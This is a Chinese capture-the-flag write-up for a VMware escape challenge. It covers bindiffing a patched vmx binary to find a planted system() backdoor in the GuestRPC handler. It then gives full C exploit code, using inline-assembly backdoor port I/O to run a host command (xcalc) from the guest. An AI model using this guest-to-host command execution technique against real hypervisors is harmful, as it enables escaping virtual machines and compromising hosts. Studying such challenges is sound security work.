当前位置: 首页 > news >正文

2019数字经济公测大赛-VMware逃逸

文章目录

  • 环境搭建
  • 漏洞点
  • exp

环境搭建

  • ubuntu :18.04.01
  • vmware: VMware-Workstation-Full-15.5.0-14665864.x86_64.bundle
    这里环境搭不成功。。patch过后就报错,不知道咋搞 发现可能是IDA加载后的patch似乎不行对原来的patch可能有影响,重新下了patch,发现可以了,但没网。。。。但好像自带vmtools了。。

漏洞点

bindiff 对比原来的vmx和patch过的,发现存在如下修改
在这里插入图片描述
被替换为nop并且留了后门
在这里插入图片描述

sub_16E220函数开始时通过调用sub_5463D0(1LL)获取一个值v2,用于决定switch语句执行哪个case。对应RPC各个通信
打开 GuestRPC 通道
发送命令长度
发送命令数据
接收回复大小
接收回复数据
发出接收结束信号
关闭频道

bindiff不同位置其对应的反编译代码,属于case 4

发现其中有关于channel的字符串GuestMsg: Channel %u, Not enough memory to receive a message,加上函数开头的switch case判断number的范围为0-6,很容易联想到这就是GuestRPC Handler(是处理 RPC 通信的代码),一个RPC指令处理函数,下面代码只包含了漏洞所在的部分,可以看到这个路径是当subcommand=0x4,也就是Receive reply data的处理部分

   case 4u:v49 = sub_16DE80(6LL, 7LL);v8 = (_DWORD *)v49;if ( !v49 )goto LABEL_62;LODWORD(v9) = *(_DWORD *)v49;if ( *(_DWORD *)v49 != 3 )goto LABEL_20;if ( *(_BYTE *)(v49 + 8) == 1 )goto LABEL_48;if ( !*(_QWORD *)(v49 + 56) )goto LABEL_90;if ( (sub_5463D0(3LL) & 1) == 0 ){v11 = (__int64)v8;goto LABEL_81;}v36 = (unsigned __int64)&stru_20000;sub_546480(2LL, &stru_20000);v50 = (unsigned int)v8[12];v51 = (unsigned __int16 *)(*((_QWORD *)v8 + 7) + (unsigned int)v8[11] - v50);if ( (_DWORD)v50 == 2 ){v36 = *v51;v37 = (_BYTE *)(&dword_0 + 3);sub_546480(3LL, v36);v52 = v8[12] - 2;v8[12] = v52;}else if ( (_DWORD)v50 == 3 ){v37 = (const char *)*((_QWORD *)v8 + 7);system(v37);v52 = v8[12] - 3;v8[12] = v52;}else{if ( (_DWORD)v50 == 1 ){v36 = *(unsigned __int8 *)v51;v37 = (_BYTE *)(&dword_0 + 3);sub_546480(3LL, v36);v52 = v8[12] - 1;}else{v36 = *(unsigned int *)v51;v37 = (_BYTE *)(&dword_0 + 3);sub_546480(3LL, v36);v52 = v8[12] - 4;}v8[12] = v52;}if ( !v52 )*v8 = 4;
LABEL_31:v44 = sub_533C10(v37, v36, v9);v19 = 0x10000LL;*((_QWORD *)v8 + 2) = v44;goto LABEL_12;

其中 need 表示还未发送数据的长度,在 need >= 4 的时候每次发送 4 字节,最后特判了 need < 4 的情况。而后门函数位于 need == 3 的判断中。

另外通过调试发现 state == 3 出现在 host 向 guest 回复数据的阶段,因此我们需要让 host 向 guest 回复数据长度模 4 余 3 同时 buf 恰好是要执行的命令。

通过调试发现回复数据长度为 info-set guestinfo.x 后面跟的字符串长度加 2,并且执行的命令就是这个字符串(前面拼接了两个字节包含一个字符1 recv rpc data中有提到rpctype前两个字节表示成功还是失败 在 Recieve RPC reply length 中提到过,应答数据的前两个字节始终表示 RPC command 的状态)。最最终need的总个数就是 info-set guestinfo.x 后面跟的字符串长度加2,即1 字符串,buf就是这个的起始地址,所以system执行指令会执行1 字符串,为了执行字符串中的指令,所以字符串刚开始有个;来结束,最后我们保证字符串长度加2模4余3就好了(也就是字符串长度模4余1)

这里已经包含一个字符了,所以保证剩下的是4的倍数就行了,这里相当任意命令执行了,因为可以通过添加空格来填补,最后添个;或者&,不然虚拟机出问题
在这里插入图片描述

然后是执行命令的参数前面固定为1,我在后面加了个;来执行下一条命令,因此最终去执行的命令就是/usr/bin/xcalc ;

exp

#include <ctype.h>
#include <stdint-gcc.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>void byte_dump(char *desc, void *addr, int len) {uint8_t *buf8 = (unsigned char *) addr;if (desc != NULL) {printf("[*] %s:\n", desc);}for (int i = 0; i < len; i += 16) {printf("  %04x", i);for (int j = 0; j < 16; j++) {i + j < len ? printf(" %02x", buf8[i + j]) : printf("   ");}printf("   ");for (int j = 0; j < 16 && j + i < len; j++) {printf("%c", isprint(buf8[i + j]) ? buf8[i + j] : '.');}puts("");}
}
void channel_open(int *cookie1, int *cookie2, int *channel_num, int *res) {asm("movl %%eax,%%ebx\n\t""movq %%rdi,%%r10\n\t""movq %%rsi,%%r11\n\t""movq %%rdx,%%r12\n\t""movq %%rcx,%%r13\n\t""movl $0x564d5868,%%eax\n\t""movl $0xc9435052,%%ebx\n\t""movl $0x1e,%%ecx\n\t""movl $0x5658,%%edx\n\t""out %%eax,%%dx\n\t""movl %%edi,(%%r10)\n\t""movl %%esi,(%%r11)\n\t""movl %%edx,(%%r12)\n\t""movl %%ecx,(%%r13)\n\t"::: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r8", "%r10", "%r11", "%r12", "%r13");
}void channel_set_len(int cookie1, int cookie2, int channel_num, int len, int *res) {asm("movl %%eax,%%ebx\n\t""movq %%r8,%%r10\n\t""movl %%ecx,%%ebx\n\t""movl $0x564d5868,%%eax\n\t""movl $0x0001001e,%%ecx\n\t""movw $0x5658,%%dx\n\t""out %%eax,%%dx\n\t""movl %%ecx,(%%r10)\n\t"::: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}void channel_send_data(int cookie1, int cookie2, int channel_num, int len, char *data, int *res) {asm("pushq %%rbp\n\t""movq %%r9,%%r10\n\t""movq %%r8,%%rbp\n\t""movq %%rcx,%%r11\n\t""movq $0,%%r12\n\t""1:\n\t""movq %%r8,%%rbp\n\t""add %%r12,%%rbp\n\t""movl (%%rbp),%%ebx\n\t""movl $0x564d5868,%%eax\n\t""movl $0x0002001e,%%ecx\n\t""movw $0x5658,%%dx\n\t""out %%eax,%%dx\n\t""addq $4,%%r12\n\t""cmpq %%r12,%%r11\n\t""ja 1b\n\t""movl %%ecx,(%%r10)\n\t""popq %%rbp\n\t"::: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11", "%r12");
}void channel_recv_reply_len(int cookie1, int cookie2, int channel_num, int *len, int *res) {asm("movl %%eax,%%ebx\n\t""movq %%r8,%%r10\n\t""movq %%rcx,%%r11\n\t""movl $0x564d5868,%%eax\n\t""movl $0x0003001e,%%ecx\n\t""movw $0x5658,%%dx\n\t""out %%eax,%%dx\n\t""movl %%ecx,(%%r10)\n\t""movl %%ebx,(%%r11)\n\t"::: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11");
}void channel_recv_data(int cookie1, int cookie2, int channel_num, int offset, char *data, int *res) {asm("pushq %%rbp\n\t""movq %%r9,%%r10\n\t""movq %%r8,%%rbp\n\t""movq %%rcx,%%r11\n\t""movq $1,%%rbx\n\t""movl $0x564d5868,%%eax\n\t""movl $0x0004001e,%%ecx\n\t""movw $0x5658,%%dx\n\t""in %%dx,%%eax\n\t""add %%r11,%%rbp\n\t""movl %%ebx,(%%rbp)\n\t""movl %%ecx,(%%r10)\n\t""popq %%rbp\n\t"::: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11", "%r12");
}void channel_recv_finish(int cookie1, int cookie2, int channel_num, int *res) {asm("movl %%eax,%%ebx\n\t""movq %%rcx,%%r10\n\t""movq $0x1,%%rbx\n\t""movl $0x564d5868,%%eax\n\t""movl $0x0005001e,%%ecx\n\t""movw $0x5658,%%dx\n\t""out %%eax,%%dx\n\t""movl %%ecx,(%%r10)\n\t"::: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}void channel_recv_finish2(int cookie1, int cookie2, int channel_num, int *res) {asm("movl %%eax,%%ebx\n\t""movq %%rcx,%%r10\n\t""movq $0x21,%%rbx\n\t""movl $0x564d5868,%%eax\n\t""movl $0x0005001e,%%ecx\n\t""movw $0x5658,%%dx\n\t""out %%eax,%%dx\n\t""movl %%ecx,(%%r10)\n\t"::: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}void channel_close(int cookie1, int cookie2, int channel_num, int *res) {asm("movl %%eax,%%ebx\n\t""movq %%rcx,%%r10\n\t""movl $0x564d5868,%%eax\n\t""movl $0x0006001e,%%ecx\n\t""movw $0x5658,%%dx\n\t""out %%eax,%%dx\n\t""movl %%ecx,(%%r10)\n\t"::: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}typedef struct {int cookie1;int cookie2;int num;
} channel;void run_cmd(char *cmd) {channel cannel;int res, len;channel_open(&cannel.cookie1, &cannel.cookie2, &cannel.num, &res);if (!res) {puts("[-] fail to open channel.");exit(EXIT_FAILURE);}channel_set_len(cannel.cookie1, cannel.cookie2, cannel.num, strlen(cmd), &res);if (!res) {puts("[-] fail to set len");exit(EXIT_FAILURE);}channel_send_data(cannel.cookie1, cannel.cookie2, cannel.num, strlen(cmd), cmd, &res);channel_recv_reply_len(cannel.cookie1, cannel.cookie2, cannel.num, &len, &res);if (!res) {puts("[-] fail to recv data len");exit(EXIT_FAILURE);}printf("[*] recv len:%d\n", len);char *data = malloc(len);memset(data, 0, len );for (int i = 0; i < len ; i += 4) {channel_recv_data(cannel.cookie1, cannel.cookie2, cannel.num, i, data, &res);}byte_dump("recv data", data, len );channel_recv_finish(cannel.cookie1, cannel.cookie2, cannel.num, &res);if (!res) {puts("[-] fail to recv finish");exit(EXIT_FAILURE);}channel_close(cannel.cookie1, cannel.cookie2, cannel.num, &res);if (!res) {puts("[-] fail to close channel");exit(EXIT_FAILURE);}
}int main() {run_cmd("info-set guestinfo.x ;/usr/bin/xcalc ;");run_cmd("info-get guestinfo.x");return 0;
}

asm中的冒号:

  • 第一个冒号后的空字符串表示没有输出操作数。
  • 第二个冒号后的空字符串表示没有输入操作数。
  • 第三个冒号后的列表是被修改的寄存器列表,用于告知编译器哪些寄存器被嵌入的汇编代码修改了。

在这里插入图片描述

相关文章:

2019数字经济公测大赛-VMware逃逸

文章目录 环境搭建漏洞点exp 环境搭建 ubuntu :18.04.01vmware: VMware-Workstation-Full-15.5.0-14665864.x86_64.bundle 这里环境搭不成功。。patch过后就报错&#xff0c;不知道咋搞 发现可能是IDA加载后的patch似乎不行对原来的patch可能有影响&#xff0c;重新下了patch&…...

如何改桥接模式

桥接模式主要是解决 路由功能的 因为NAT多层 主要是网络连接数太多时 然后路由器要好 不然光猫 比差路由要强的 光猫 请注意&#xff0c;对光猫的任何设置进行修改前&#xff0c;请一定要备份光猫的配置文件&#xff0c;并在每次修改前都截图保存原始设置信息&#xff01;不要…...

江科大/江协科技 STM32学习笔记P13

文章目录 TIM定时中断1、TIM简介计数器PSC预分频器ARR自动重装寄存器 2、定时器类型基本定时器主模式触发DAC 通用定时器高级定时器 3、定时器原理定时中断基本结构预分频器时序计数器时序RCC时钟树 TIM定时中断 1、TIM简介 定时器的基准时钟一般都是主频72MHz&#xff0c;如果…...

loadrunner录制解决提示安全问题

点击页面任意位置&#xff0c;输入&#xff1a; thisisunsafe...

为什么要读写分离?如何实现业务系统读写分离?

信息化水平提升&#xff0c;很多企业已经接受并高频使用多样的业务系统进行日常作业&#xff0c;而在不断的使用过程中&#xff0c;部分行业和业务&#xff0c;如&#xff1a;直播电商、基础制造、公关传媒等&#xff0c;由于自身特点的原因&#xff0c;常常积累了海量的数据。…...

C#基础——类、构造函数和静态成员

类 类是一个数据类型的蓝图。构成类的方法和变量称为类的成员&#xff0c;对象是类的实例。类的定义规定了类的对象由什么组成及在这个对象上可执行什么操作。 class 类名 { (访问属性) 成员变量; (访问属性) 成员函数; } 访问属性&#xff1a;public&#xff08;公有的&…...

hadoop学习(二)

一.MapReduce 1.1定义&#xff1a;是一个分布式运算程序的编程框架 1.2核心功能&#xff1a;将用户编写的业务逻辑代码和自带默认组件整合成一个完整的分布式运算程序&#xff0c;并发运行在一个Hadoop集群上。 1.3优点 1&#xff09;易于编程 它简单的实现一些接口&#…...

WXZ196微机消谐装置的运行方式了解一下

WXZ196微机消谐装置是一种用于抑制铁磁谐振的设备&#xff0c;可以在电力系统中快速消除各种频率的铁磁谐振&#xff0c;同时可以区分过电压、铁磁谐振以及单相接地&#xff0c;并给出相应的报警信号。该装置采用高速增强型单片机作为核心元件&#xff0c;对PT开口三角电压进行…...

单链表的建立

一.前言 单链表的建立一共有两种方法&#xff0c;一种是头插法&#xff0c;将元素插入在链表的头部&#xff0c;也叫前插法。另外一种则就是尾插法&#xff0c;将元素插入在链表尾部&#xff0c;也叫后插法。 二. 头插法 首先从一个空表开始&#xff0c;重复读入数据&#xff1…...

Shell脚本编程学习

IPv4和IPv6有什么区别&#xff1f; - 知乎 (zhihu.com) Shell 是一个命令解释权&#xff0c;它为用户提供了一个向 Linux 内核发送请求以便运行程序界面系统级程序&#xff0c;用户可以用 Shell 来启动、挂起、停止甚至是编写一些程序。 可以查看当前系统的进程 ps -ef...

从宏基因组量化细菌生长动态

Introduciton 了解细菌在各种环境中的生长动态对于人类健康和环境监测等广泛领域至关重要。传统研究细菌生长的方法往往依赖于培养技术&#xff0c;这不仅耗时&#xff0c;而且对易培养的物种有偏向。然而&#xff0c;随着宏基因组测序技术的兴起&#xff0c;我们现在可以直接…...

Linux---git工具

目录 初步了解 基本原理 基本用法 安装git 拉取远端仓库 提交三板斧 1、添加到缓存区 2、提交到本地仓库 3、提交到远端 其他指令补充 多人协作管理 windows用户提交文件 Linux用户提交文件 初步了解 在Linux中&#xff0c;git是一个指令&#xff0c;可以帮助我们做…...

【JavaScript】函数的动态传参

Javacript&#xff08;简称“JS”&#xff09;是一种具有函数优先的轻量级&#xff0c;解释型或即时编译型的编程语言。虽然它是作为开发Web页面的脚本语言而出名&#xff0c;但是它也被用到了很多非浏览器环境中&#xff0c;JavaScript基于原型编程、多范式的动态脚本语言&…...

从0到1,AI我来了- (4)AI图片识别的理论知识-II

上篇文章&#xff0c;我们理解了我们程序的神经网络设计&#xff0c;这篇我们继续&#xff0c;把训练迭代过程分析一下&#xff0c;完成这两篇文章&#xff0c;下面问题&#xff0c;应该能回答了。 一张图片&#xff0c;如何被计算机读懂&#xff1f;pytorch 封装的网络&#…...

2024 Java 高分面试宝典 一站式搞定技术面

前言 每年9月和10月&#xff0c;被业界称为“金九银十”&#xff0c;这是人才市场一年中最活跃的时期。此时&#xff0c;企业为了来年的业务扩展&#xff0c;纷纷加大招聘力度&#xff0c;空缺岗位众多&#xff0c;招聘需求集中。同时&#xff0c;初秋的招聘活动也避开酷暑&am…...

MongoDB - 聚合操作符 $eq、$gte、$in、$sum、$avg

文章目录 1. $eq2. $gte3. $in4. $sum5. $avg 1. $eq $eq比较两个值并返回&#xff1a;true &#xff08;当值相等时&#xff09;|false&#xff08;当值不相等时&#xff09; { $eq: [ <expression1>, <expression2> ] }构造测试数据&#xff1a; db.inventory…...

C语言 | Leetcode C语言题解之第279题完全平方数

题目&#xff1a; 题解&#xff1a; // 判断是否为完全平方数 bool isPerfectSquare(int x) {int y sqrt(x);return y * y x; }// 判断是否能表示为 4^k*(8m7) bool checkAnswer4(int x) {while (x % 4 0) {x / 4;}return x % 8 7; }int numSquares(int n) {if (isPerfect…...

在appium中,如何通过匹配图片来进行断言?

在Appium中进行图片匹配断言&#xff0c;可以使用OpenCV来实现。以下是使用Appium和OpenCV进行图片匹配断言的示例代码。 首先&#xff0c;需要确保安装了必要的库&#xff1a; pip install opencv-python-headless pip install opencv-python pip install numpy然后&#xf…...

昇思25天学习打卡营第21天|CV-Shufflenet图像分类

打卡 目录 打卡 ShuffleNet 网络介绍 ShuffleNet 模型架构 Pointwise Group Convolution Channel Shuffle ShuffleNet模块 ShuffleNet 模块代码 构建ShuffleNet网络 模块代码 模型训练和评估 模型训练 模型评估 模型预测 ShuffleNet 网络介绍 ShuffleNetV1是旷视科…...

python 图片转文字、语音转文字、文字转语音保存音频并朗读

一、python图片转文字 1、引言 pytesseract是基于Python的OCR工具&#xff0c; 底层使用的是Google的Tesseract-OCR 引擎&#xff0c;支持识别图片中的文字&#xff0c;支持jpeg, png, gif, bmp, tiff等图片格式 2、环境配置 python3.6PIL库安装Google Tesseract OCR 3、安…...

SSRF (服务端请求伪造)

&#x1f3bc;个人主页&#xff1a;金灰 &#x1f60e;作者简介:一名简单的大一学生;易编橙终身成长社群的嘉宾.✨ 专注网络空间安全服务,期待与您的交流分享~ 感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持&#xff01;❤️ &#x1f34a;易编橙终身成长社群&#…...

SQL中的LEFT JOIN、RIGHT JOIN和INNER JOIN

在SQL中&#xff0c;JOIN操作是连接两个或多个数据库表&#xff0c;并根据两个表之间的共同列&#xff08;通常是主键和外键&#xff09;返回数据的重要方法。其中&#xff0c;LEFT JOIN&#xff08;左连接&#xff09;、RIGHT JOIN&#xff08;右连接&#xff09;和INNER JOIN…...

[网鼎杯 2020 朱雀组]Nmap(详细解读版)

这道题考察nmap的一些用法,以及escapeshellarg和escapeshellcmd两个函数的绕过&#xff0c;可以看这里PHP escapeshellarg()escapeshellcmd() 之殇 (seebug.org) 两种解题方法&#xff1a; 第一种通过nmap的-iL参数读取扫描一个文件到指定文件中第二种是利用nmap的参数写入we…...

【React】详解“最新”和“最热”切换与排序

文章目录 一、基本概念和初始化二、切换与排序功能的实现1. 函数定义和参数2. 设置活动 Tab3. 定义新列表变量4. 根据排序类型处理列表4.1 按时间降序排序4.2 按点赞数降序排序 5. 更新评论列表 三、渲染导航 Tab 和评论列表1. map 方法2. key 属性3. className 动态赋值4. onC…...

BUUCTF [MRCTF2020]Ezpop

这道题对于刚接触到pop链的我直接把我整懵了&#xff0c;一边看着魔术方法一边分析 魔术方法可以看这里PHP 魔术方法 - 简介 - PHP 魔术方法 - 简单教程&#xff0c;简单编程 (twle.cn) 代码解析 经过以上的分析我们可以理一下解题思路&#xff1a;接收参数反序列化之前先触发…...

RV1126 Linux 系统,接外设,时好时坏(一)应该从哪些方面排查问题

在 Linux 系统中接外设时,遇到“时好时坏”的问题,可能是由多种因素引起的。以下是一些排查问题的建议。 1. 硬件方面的排查 1.1 连接检查 物理连接: 确保外设与主板之间的连接良好,检查插头、插座及线缆是否牢固。引脚配置: 确认设备树中引脚的配置是否正确,尤其是引脚…...

Vue实现简单小案例

一、创建文件夹 二、引用vue.js <script src"../js/vue.js"></script> 三、准备一个容器 <div id"app"><h1>Hello,{{name}}</h1> </div> 四、创建实例 <script>new Vue({el:"#app", //el用于指…...

【MATLAB APP】建立独立桌面APP

背景&#xff1a;已有MATLAB APP的.mlapp文件&#xff0c;但客户提出需要可以直接使用的exe文件。 要求&#xff1a;点开即用&#xff0c;无需下载MATLAB。使用者无法修改APP的代码。 一、环境配置 APP创建者&#xff1a;安装MATLAB R2023a&#xff0c;配置Application Compile…...

Spring的优缺点?

Spring的优缺点 直接回答相关的Spring的特点&#xff1a; IOC AOP 事务 简化开发&#xff1a; 容易集成JDBCTemplateRestTemplate&#xff08;接口远程调用&#xff09;邮件发送相关异步消息请求支持 更加深入就讲源码了 优点&#xff1a; 方便解耦&#xff0c;简化开发…...

第一百八十三节 Java IO教程 - Java目录事件、Java异步I/O

Java IO教程 - Java目录事件 当文件系统中的对象被修改时&#xff0c;我们可以监听watch服务以获取警报。 java.nio.file包中的以下类和接口提供watch服务。 Watchable接口WatchService接口WatchKey接口WatchEvent接口WatchEvent.Kind接口StandardWatchEventKinds类 可监视对…...

【设计模式】(万字总结)深入理解Java中的创建型设计模式

1. 前言 在软件开发的世界里&#xff0c;设计模式是一种被广泛接受并应用的解决方案。它们不仅仅是代码的设计&#xff0c;更是对问题的思考和解决的方法论。在Java开发中&#xff0c;特别是在面向对象的编程中&#xff0c;设计模式尤为重要。创建型设计模式&#xff0c;作为设…...

【全面讲解下Docker in Docker的原理与实践】

🌈个人主页: 程序员不想敲代码啊 🏆CSDN优质创作者,CSDN实力新星,CSDN博客专家 👍点赞⭐评论⭐收藏 🤝希望本文对您有所裨益,如有不足之处,欢迎在评论区提出指正,让我们共同学习、交流进步! 👉目录 👉前言👉原理👉实践👉安全和最佳实践👉前言 🦛…...

Android Settings增加多击事件,增加开发者模式打开难度

软件平台&#xff1a;Android11 硬件平台&#xff1a;QCS6125 需求来源&#xff1a;用户通过系统异常崩溃&#xff0c;进入原生Settings页面&#xff0c;通过默认的多击版本号方式打开开发者模式&#xff0c;继而打开adb调试开关&#xff0c;安装三方apk。 对付这种需求本来有…...

【相机与图像】1. 相机模型的介绍:内参、外参、畸变参数

想着整理下相机模型&#xff08;内容上参考 slam十四讲&#xff09;、相机的内外参标定。方便自己的使用和回顾。 不过&#xff0c;内外参标定啥时候记录随缘 -_- 概述 【构建相机模型】 相机将三位世界中的坐标点&#xff08;单位为米&#xff09;映射到二维图像平面&#xff…...

Linux内核netlink机制 - 用户空间和内核空间数据传输

简介&#xff1a; Netlink socket 是一种Linux特有的socket&#xff0c;用于实现用户空间与内核空间通信的一种特殊的进程间通信方式(IPC) &#xff0c;也是网络应用程序与内核通信的最常用的接口。 Netlink 是一种在内核和用户应用间进行双向数据传输的非常好的方式&a…...

Node.js自动化处理TOML文件

在软件开发过程中&#xff0c;自动化处理配置文件是一种常见的需求。TOML&#xff08;Tom’s Obvious, Minimal Language&#xff09;是一种用于配置文件的简单易读的格式。本文将展示如何使用Node.js和一些流行的库来自动化读取、修改并写入TOML文件。 1. 准备工作 在开始之前…...

Spring boot 后端向前端发送日期时间发现少了8小时

问题 数据库 后端的控制台输出 前端控制台输出 可以发现少了8小时 问题 springboot 向前端响应数据是默认 Json 格式&#xff0c;所以会有类型转换&#xff0c;springboot 就通过 Jackson 来对 data 类型数据进行转换&#xff0c;但是Jackson 类型的时区是 GMT&#xff0c;与…...

MySQL数据库(基础篇)

&#x1f30f;个人博客主页&#xff1a;心.c 前言&#xff1a;今天讲解的是MySQL的详细知识点的&#xff0c;希望大家可以收货满满&#xff0c;话不多说&#xff0c;直接开始搞&#xff01; &#x1f525;&#x1f525;&#x1f525;文章专题&#xff1a;MySQL &#x1f63d;感…...

ffmpeg ffplay.c 源码分析二:数据读取线程

本章主要是分析 数据读取线程read_thread 中的工作。如上图红色框框的部分 从ffplay框架分析我们可以看到&#xff0c;ffplay有专⻔的线程read_thread()读取数据&#xff0c; 且在调⽤av_read_frame 读取数据包之前需要做&#xff1a; 1.例如打开⽂件&#xff0c; 2.查找配置解…...

国科大作业考试资料《人工智能原理与算法》2024新编-第十三次作业整理

1、假设我们从决策树生成了一个训练集&#xff0c;然后将决策树学习应用于该训练集。当训练集的大小趋于无穷时&#xff0c;学习算法将最终返回正确的决策树吗&#xff1f;为什么是或不是&#xff1f; 本次有两个参考&#xff1a; 参考一&#xff1a; 当训练集的大小趋于无穷…...

Netdevops入门之Telnetlib语法案例

1、Telnetlib模块&#xff1a; 支持telnet/ssh远程访问的模块很多&#xff0c;常见的有telnetlib、ciscolib、paramiko、netmiko、pexpect,其中telnetlib和ciscolib对应telnet协议&#xff0c;后面3个对应SSH协议。 ①-通过ENSP环境搭建实验环境 ②-基础语法-telnetlib案例1&…...

永辉“爆改”续命

2024年&#xff0c;在线下零售一片哀嚎之下&#xff0c;胖东来似乎活成了国内零售业的密码&#xff0c;同时也变身成为各大零售企业的咨询公司&#xff0c;四处帮助“友商”救火&#xff0c;就连一直名声在外的永辉超市&#xff0c;也成了救火对象。 作为曾经国内生鲜超市的“…...

IEEE双一区Top“饱受诟病”!曾上医院黑名单,国人占比高达82.405%,目测即将拉下神坛?

本周投稿推荐 SCI&EI • 1区计算机类&#xff0c;3.5-4.0&#xff08;1个月录用&#xff09; • CCF推荐&#xff0c;1区-Top&#xff08;3天初审&#xff09; EI • 各领域沾边均可&#xff08;2天录用&#xff09; 知网&#xff08;CNKI&#xff09;、谷歌学术 •…...

Hive环境搭建(Mysql数据库)

【实验目的】 1) 了解hive的作用 2) 熟练hive的配置过程&#xff08;Mysql数据库&#xff09; 【实验原理】 Hive工具中默认使用的是derby数据库&#xff0c;该数据库使用简单&#xff0c;操作灵活&#xff0c;但是存在一定的局限性&#xff0c;hive支持使用第三方数据库&…...

【ESP32 IDF SPI硬件驱动W25Q64】

目录 SPISPI介绍idf配置初始化配置通信 驱动代码 SPI SPI介绍 详细SPI介绍内容参考我之前写的内容【ESP32 IDF 软件模拟SPI驱动 W25Q64存储与读取数组】 idf配置 初始化配置 spi_bus_initialize() 参数1 &#xff1a;spi几&#xff0c;例如spi2,spi3 参数2&#xff1a;…...

太原高校大学智能制造实验室数字孪生可视化系统平台建设项目验收

随着科技的不断进步&#xff0c;智能制造已经成为推动制造业转型升级的重要力量。太原高校大学智能制造实验室紧跟时代步伐&#xff0c;积极推进数字孪生可视化系统平台的建设&#xff0c;并于近日圆满完成了项目的验收工作。这一里程碑式的成果&#xff0c;不仅标志着实验室在…...

Kafka消息队列

目录 什么是消息队列 高可用性 高扩展性 高可用性 持久化和过期策略 consumer group 分组消费 ZooKeeper 什么是消息队列 普通版消息队列 说白了就是一个队列,生产者生产多少,放在消息队列中存储,而消费者想要多少拿多少,按序列号消费 缓存信息 生产者与消费者解耦…...

@Transactional注解及其事务管理

1. 事务问题概述 事务问题主要来源于数据库&#xff0c;与数据库事务紧密相关。事务的四大特性&#xff08;ACID&#xff09;&#xff1a; 原子性&#xff08;Atomicity&#xff09;&#xff1a;事务要么完全执行&#xff0c;要么完全不执行。一致性&#xff08;Consistency&a…...

ROS2入门到精通—— 3-1 ROS2实战:CasADi —— 优化计算的利器

0 前言 CasADi是一个强大的开源软件库,它提供了一种灵活且高效的方式来构建和解决复杂的非线性模型。通过其直观的API,开发者可以轻松地定义数学表达式并自动求解微分方程、优化问题以及符号计算等任务。 CasADi基于Python编写,但提供了C++和MATLAB接口,使得不同背景的开发…...

日拱一卒 | JVM

文章目录 什么是JVM&#xff1f;JVM的组成JVM的大致工作流程JVM的内存模型 什么是JVM&#xff1f; 我们知道Java面试&#xff0c;只要你的简历上写了了解JVM&#xff0c;那么你就必然会被问到以下问题&#xff1a; 什么是JVM&#xff1f;简单说一下JVM的内存模型&#xff1f;…...